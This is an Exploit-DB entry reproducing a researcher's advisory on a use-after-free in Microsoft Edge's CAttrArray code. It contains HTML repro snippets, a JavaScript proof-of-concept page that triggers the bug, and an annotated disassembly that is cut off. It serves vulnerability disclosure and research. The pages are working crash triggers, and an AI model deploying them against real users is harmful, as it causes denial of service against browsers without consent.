Exploit-DB #40761
Description: Microsoft Edge 11.0.10240.16384 - 'edgehtml' CAttr­Array::Destroy Use-After-Free
Type: dos
Platform: windows
Date: 2016-11-15
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can cause Microsoft Edge to free memory used for a CAttr­Array object. The code continues to use the data in freed memory block immediately after freeing it. It does not appear that there is enough time between the free and reuse to exploit this issue.

Known affected software and attack vectors

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Repro

<x style="
  background-image: inherit;
  text-decoration: line-through;
  height: 0;
  width: 0;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  font: menu;">

Alternatively:

<body id=x style=margin:5 onload=x.style.remove­Property("margin")>

Description

When an element is created and style properties are added, these are stored in a CAttr­Array object. A new CAttr­Array is able to store up to 8 properties. If more properties need to be stored, the code will allocate memory for a larger CAttr­Array and copy the existing properties into this new object before freeing the old memory. The code will then continue to use the freed memory almost immediately. In the first repro, the "font" style property is the ninth property and triggers this issue. In the second repro, the only property of a CAttr­Array is removed, at which point it is freed but no new object is allocated. However, the code follows the same path and also reuses the freed memory.

Exploit

What little investigation I did appears to indicate that there is no way to reallocate the freed memory before its reuse. It is therefore probably not possible to exploit this issue that way. I did not investigate how the freed memory is used by the code exactly, and I did not look into other methods to exploit the issue. I did create a second repro that triggers the issue "on-demand" from Javascript but, as is to be expected, no Javascript is executed between the free and the re-use.
-->

<x id=x style="background-image: inherit;text-decoration: line-through;height: 0;width: 0;top: 0;left: 0;right: 0;bottom: 0;"><script>
  window.onload = function () {
    // This Po­C attempts to exploit a use-after-free bug in Microsoft Edge
    // See http://blog.skylined.nl/[PII_REDACTED]1.html for details.
    // The CAttr­Array is full, adding another style property will cause Edge to
    // allocate a larger CAttr­Array, copy everything and free the old one.
    // The old one then continues to be used almost immediately:
    x.style.set­Property("font", "menu");
    // This work by Sky­Lined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  };
</script>

<!--
The code

Below you can find an annotated disassembly for the CAttr­Array::Destroy function, which calls CAttr­Array::Set (in which the memory is freed) before looping and re-using the memory. This loop shows there is very little time between the two events in which to reallocate the memory and attempt to control its contents. There also does not appear to be much this function can be made to do if the memory could be controlled.

EDGEHTML!CAttr­Array::Destroy:
6175024f 8bff            mov     edi,edi
61750251 55              push    ebp
61750252 8bec            mov     ebp,esp
61750254 83e4f8          and     esp,0FFFFFFF8h
61750257 83ec2c          sub     esp,2Ch
6175025a 8b510c          mov     edx,dword ptr [ecx+0Ch]
6175025d 8bc2            mov     eax,edx
6175025f 53              push    ebx
61750260 d1e8            shr     eax,1
61750262 894c240c        mov     dword ptr [esp+0Ch],ecx
61750266 56              push    esi
61750267 57              push    edi
61750268 a801            test    al,1
6175026a 0f85b56f3600    jne     EDGEHTML!CAttr­Array::Destroy+0x366fd6 (61ab7225)
{
  61ab7225 cc              int     3
  61ab7226 e94590c9ff      jmp     EDGEHTML!CAttr­Array::Destroy+0x21 (61750270)
}
61750270 8b5d08          mov     ebx,dword ptr [ebp+8]
61750273 8d7c2428        lea     edi,[esp+28h]
61750277 c1e304          shl     ebx,4
6175027a 035908          add     ebx,dword ptr [ecx+8]
6175027d 8bf3            mov     esi,ebx
6175027f 803b04          cmp     byte ptr [ebx],4
61750282 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750283 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750284 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750285 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750286 752d            jne     EDGEHTML!CAttr­Array::Destroy+0x66 (617502b5)
{
  617502b5 8bcb            mov     ecx,ebx
  617502b7 e870e4ffff      call    EDGEHTML!CAttr­Value::Get­DISPID (6174e72c)
  617502bc 8b742414        mov     esi,dword ptr [esp+14h]
  617502c0 8bca            mov     ecx,edx
  617502c2 c1e004          shl     eax,4
  617502c5 83e20f          and     edx,0Fh
  617502c8 2bc8            sub     ecx,eax
  617502ca 83e1f0          and     ecx,0FFFFFFF0h
  617502cd 0bca            or      ecx,edx
  617502cf 894e0c          mov     dword ptr [esi+0Ch],ecx
  617502d2 0fb74302        movzx   eax,word ptr [ebx+2]
  617502d6 a808            test    al,8
  617502d8 752c            jne     EDGEHTML!CAttr­Array::Destroy+0xb7 (61750306)
  {
    617502da 8b560c          mov     edx,dword ptr [esi+0Ch]                      ;<--------------.
    617502dd f6c208          test    dl,8                                         ;                \
    617502e0 0f95c1          setne   cl                                           ;                |
    617502e3 f6430201        test    byte ptr [ebx+2],1                           ; REUSE          |
    617502e7 0f95c0          setne   al                                           ;                |
    617502ea 84c8            test    al,cl